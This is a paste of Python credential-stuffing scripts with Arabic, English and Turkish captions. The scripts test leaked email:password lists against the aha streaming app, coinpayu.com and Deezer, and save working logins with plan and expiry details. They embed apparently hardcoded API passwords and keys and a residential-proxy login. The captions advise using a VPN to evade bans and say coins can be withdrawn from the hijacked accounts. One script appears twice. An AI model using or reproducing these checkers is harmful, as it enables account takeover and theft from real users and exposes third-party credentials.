Арабский питон

import requests
from concurrent.futures import ThreadPoolExecutor

filess = 'o.txt'
def msuahajsdjjs(muss):
    
        user, password = muss.strip().split(':')
        
        url = "https://rest-prod-aha.evergent.com/aha/getOAuthAccessTokenv2"
        headers = {
            "Host": "rest-prod-aha.evergent.com",
            "Content-Type": "application/json",
            "Accept": "application/json, text/plain, */*",
            "User-Agent": "aha/74 CFNetwork/3826.600.41 Darwin/24.6.0"
        }
        payload = {
            "GetOAuthAccessTokenv2RequestMessage": {
                "channelPartnerID": "ARHAMEDIA",
                "apiUser": "ahaapiuser",
                "apiPassword": "Aha@p!u$#r123#$",
                "contactPassword": password,
                "contactUserName": user,
                "deviceMessage": {
                    "os": "ios", "deviceName": "iPhone", "deviceType": "iosmobile", 
                    "serialNo": "536B2358-64A9-497F-8A76-885B9472575F", "modelNo": "iPhone 15 Pro Max", "appType": "iOS", "osVersion": -1
                }
            }
        }
        
        response = requests.post(url, json=payload, headers=headers)
        
        if 'accessToken' in response.text:
            res_json = response.json()["GetOAuthAccessTokenv2ResponseMessage"]
            token = res_json["accessToken"]
            cp_id = res_json["channelPartnerID"]
            
            url = "https://rest-prod-aha.evergent.com/aha/getContact"
            headers = {
                "Host": "rest-prod-aha.evergent.com",
                "Content-Type": "application/json",
                "Accept": "application/json, text/plain, */*",
                "User-Agent": "aha/74 CFNetwork/3826.600.41 Darwin/24.6.0",
                "Authorization": "Bearer {}".format(token)
            }
            payload = {
                "GetContactRequestMessage": {
                    "channelPartnerID": cp_id,
                    "apiPassword": "Aha@p!u$#r123#$",
                    "apiUser": "ahaapiuser"
                }
            }
            response = requests.post(url, json=payload, headers=headers)
            try: 
                contact_id = response.json()["GetContactResponseMessage"]["contactMessage"][0]["contactID"]
               
                url = "https://rest-prod-aha.evergent.com/aha/getEntitlements"
                payload = {
                    "GetEntitlementsRequestMessage": {
                        "channelPartnerID": cp_id,
                        "apiPassword": "Aha@p!u$#r123#$",
                        "apiUser": "ahaapiuser",
                        "contactID": contact_id
                    }
                }
                response = requests.post(url, json=payload, headers=headers)
                service = response.json()["GetEntitlementsResponseMessage"]["AccountServiceMessage"][0]
                
                plan_id = service["serviceID"]
                expiry = service["validityEndDate"].split(" ")[0]
                
                print("good login | {}:{} | Plan: {} | Expiry: {}".format(user, password, plan_id, expiry))
                with open('hits.txt', 'a') as mustafam:
                 mustafam.write("{}:{} | Plan: {} | Expiry: {}\n".format(user, password, plan_id, expiry))
            except:
                print("bad login | {}:{}".format(user, password))
        else:
            print("bad login | {}:{}".format(user, password))

try:
    with open(filess, 'r') as mustafa:
        lines = [line.strip() for line in mustafa if ':' in line]

    with ThreadPoolExecutor(max_workers=20) as executor:
        executor.map(msuahajsdjjs, lines)

except FileNotFoundError:
    print('no combo')

تشـ ـكير على تطبيق aha الهندي مال افلام ومسلسلات من تشغل فلم لازم مشغل vpn على دوله الحساب يحتاج فقط كومبو بدون حظر

Checking the Indian AHA app for movies and series; if you want to play a movie, you need a VPN in the country where the account is located. Only a combo account is needed to avoid getting banned.

import requests
import json
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from datetime import datetime

filee = 'o.txt'

try:
    with open(filee, 'r') as mustafa:
        for aaa in mustafa:
            email, password = aaa.strip().split(':')
            token = "36d4635ae108fb89322cd4bee9aef7999eca4b17"
            
            key = token[3:19].encode('utf-8')
            js_str = json.dumps({"useremail": email, "pwd": password}, separators=(',', ':'))
            cipher = AES.new(key, AES.MODE_ECB)
            enc = base64.b64encode(cipher.encrypt(pad(js_str.encode('utf-8'), 16))).decode('utf-8')
            
            ts = int(datetime.now().timestamp() * 1000)
            tim = datetime.now().strftime("%I:%M:%S %p")
            sig = hashlib.md5("loginv2{0}{1}".format(ts, token).encode()).hexdigest()
            
            url = "https://ssd.coinpayu.com/user/loginv2"
            
            headers = {
                'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36',
                'Content-Type': 'application/json',
                'cts': str(ts),
                'cointoken': token,
                'vsid': 'fd2560ad-8431-4f81-9425-652a214852c5',
                'version': '202604091621',
                'origin': 'https://www.coinpayu.com',
                'referer': 'https://www.coinpayu.com/'
            }
            
            payload = {
                "login_credentials": enc,
                "recaptcha": {"g": "", "q": ""},
                "startTime": tim,
                "captchaTime": "",
                "sign": sig,
                "agree_active": 0,
                "login_info": ""
            }
            
            session = requests.Session()
            response = session.post(url, params={'lang': ''}, json=payload, headers=headers)
            
            
            if '"code":200' in response.text and 'token' in response.text and 'Clear account' not in response.text:
                print('good login : {0}:{1}'.format(email, password))
                print(response.text)
            else:
                print('bad login : {0}:{1}'.format(email, password))

except FileNotFoundError:
    print('no combo')

تشكـ ـير على موقع coinpayu.com موقع بيه عملات Bitcoin على حسب ما اعتقد تكدر تسحبهن المهم يحتاج كومـ ـبو وافحص اذا تنحـ ـظر شغل vpn

Check the coinpayu.com website, which I believe has Bitcoin. You can withdraw the coins, but you need a combo account. Check if you get banned. Use a VPN. 

Bitcoin'in de bulunduğu coinpayu.com sitesini kontrol edin. Paraları çekebilirsiniz, ancak karma bir hesaba ihtiyacınız var. Yasaklanıp yasaklanmadığınızı kontrol edin. VPN kullanın.

import requests

username = "geonode_rQPeUhXDlo-type-residential"
password = "95431d3a-c5b0-4000-ab0f-9e5b86def4f2"
GEONODE_DNS = "proxy.geonode.io:9000"
urlToGet = "http://ip-api.com"
proxy = {"http":"http://{}:{}@{}".format(username, password, GEONODE_DNS)}
r = requests.get(urlToGet , proxies=proxy)

print(proxy)

import requests
import json
import binascii
from Crypto.Cipher import AES
filee = 'o.txt'
try:
 with open(filee, 'r') as musf:
  for files in musf:
   email,paso = files.strip().split(':',1) 
   url = "https://api.deezer.com/1.0/gateway.php"
   headers = {
       'User-Agent': "Deezer/9.0.12.3 (Android; 16; Mobile; ar) HONOR BRP-NX1",
       'Accept-Encoding': "gzip",
       'Content-Type': "application/json; charset=utf-8"
   }
   key = bytes([0x56, 0x42, 0x4B, 0x31, 0x46, 0x53, 0x55, 0x45, 0x58, 0x48, 0x54, 0x53, 0x44, 0x42, 0x4A, 0x4A])
   params = {
       'api_key': "4VCYIJUCDLOUELGD1V8WBVYBNVDYOXEWSLLZDONGBBDFVXTZJRXPR29JRLQFO6ZE",
       'output': "3",
       'version': "9.0.12.3",
       'lang': "ar",
       'method': "mobile_auth"
   }
   response = requests.get(url, params=params, headers=headers).json()
   token = response["results"]["TOKEN"]
   decrypted = AES.new(key, AES.MODE_ECB).decrypt(binascii.unhexlify(token))
   string = decrypted[:64]
   kkey = decrypted[64:80]
   _key = decrypted[80:96]
   auth_token = binascii.hexlify(AES.new(kkey, AES.MODE_ECB).encrypt(string)).decode()
   url = "https://api.deezer.com/1.0/gateway.php"
   params = {
       'api_key': "4VCYIJUCDLOUELGD1V8WBVYBNVDYOXEWSLLZDONGBBDFVXTZJRXPR29JRLQFO6ZE",
       'output': "3",
       'method': "api_checkToken",
       'auth_token': "{}".format(auth_token)
   }
   response = requests.get(url, params=params, headers=headers).json()
   sid = response["results"]
   pwd_bytes = paso.encode().ljust(16, b'\0')[:16]
   password = binascii.hexlify(AES.new(_key, AES.MODE_ECB).encrypt(pwd_bytes)).decode()
   
   params_auth = {
       'api_key': "4VCYIJUCDLOUELGD1V8WBVYBNVDYOXEWSLLZDONGBBDFVXTZJRXPR29JRLQFO6ZE",
       'method': "mobile_userAuth",
       'output': "3",
       'sid': "{}".format(sid)
   }
   payload = {
       "mail": email,
       "password": "{}".format(password)
   }
   response = requests.post(url, params=params_auth, data=json.dumps(payload), headers=headers)
   if 'USER_TOKEN' in response.text:
     info = response.json()
     Expiry = info['results']['PREMIUM']['DATE_END']
     Display = info['results']['PREMIUM']['OFFER_NAME']
     premiun = info['results']['PREMIUM']['STATUS']
     print('good login : {}:{} | Expiry : {} | Display : {} | premium : {}'.format(email,paso,Expiry,Display,premiun))
     with open('hits.txt', 'a') as mustafa:
      mustafa.write('{}:{} | Expiry : {} | Display : {} | premium : {}\n'.format(email,paso,Expiry,Display,premiun))
   else:
     print('bad login : {}:{}'.format(email, paso))   
except FileNotFoundError:
 print('bo combo')

import requests
import json
import binascii
from Crypto.Cipher import AES
filee = 'o.txt'
try:
 with open(filee, 'r') as musf:
  for files in musf:
   email,paso = files.strip().split(':',1) 
   url = "https://api.deezer.com/1.0/gateway.php"
   headers = {
       'User-Agent': "Deezer/9.0.12.3 (Android; 16; Mobile; ar) HONOR BRP-NX1",
       'Accept-Encoding': "gzip",
       'Content-Type': "application/json; charset=utf-8"
   }
   key = bytes([0x56, 0x42, 0x4B, 0x31, 0x46, 0x53, 0x55, 0x45, 0x58, 0x48, 0x54, 0x53, 0x44, 0x42, 0x4A, 0x4A])
   params = {
       'api_key': "4VCYIJUCDLOUELGD1V8WBVYBNVDYOXEWSLLZDONGBBDFVXTZJRXPR29JRLQFO6ZE",
       'output': "3",
       'version': "9.0.12.3",
       'lang': "ar",
       'method': "mobile_auth"
   }
   response = requests.get(url, params=params, headers=headers).json()
   token = response["results"]["TOKEN"]
   decrypted = AES.new(key, AES.MODE_ECB).decrypt(binascii.unhexlify(token))
   string = decrypted[:64]
   kkey = decrypted[64:80]
   _key = decrypted[80:96]
   auth_token = binascii.hexlify(AES.new(kkey, AES.MODE_ECB).encrypt(string)).decode()
   url = "https://api.deezer.com/1.0/gateway.php"
   params = {
       'api_key': "4VCYIJUCDLOUELGD1V8WBVYBNVDYOXEWSLLZDONGBBDFVXTZJRXPR29JRLQFO6ZE",
       'output': "3",
       'method': "api_checkToken",
       'auth_token': "{}".format(auth_token)
   }
   response = requests.get(url, params=params, headers=headers).json()
   sid = response["results"]
   pwd_bytes = paso.encode().ljust(16, b'\0')[:16]
   password = binascii.hexlify(AES.new(_key, AES.MODE_ECB).encrypt(pwd_bytes)).decode()
   
   params_auth = {
       'api_key': "4VCYIJUCDLOUELGD1V8WBVYBNVDYOXEWSLLZDONGBBDFVXTZJRXPR29JRLQFO6ZE",
       'method': "mobile_userAuth",
       'output': "3",
       'sid': "{}".format(sid)
   }
   payload = {
       "mail": email,
       "password": "{}".format(password)
   }
   response = requests.post(url, params=params_auth, data=json.dumps(payload), headers=headers)
   if 'USER_TOKEN' in response.text:
     info = response.json()
     Expiry = info['results']['PREMIUM']['DATE_END']
     Display = info['results']['PREMIUM']['OFFER_NAME']
     premiun = info['results']['PREMIUM']['STATUS']
     print('good login : {}:{} | Expiry : {} | Display : {} | premium : {}'.format(email,paso,Expiry,Display,premiun))
     with open('hits.txt', 'a') as mustafa:
      mustafa.write('{}:{} | Expiry : {} | Display : {} | premium : {}\n'.format(email,paso,Expiry,Display,premiun))
   else:
     print('bad login : {}:{}'.format(email, paso))   
except FileNotFoundError:
 print('bo combo')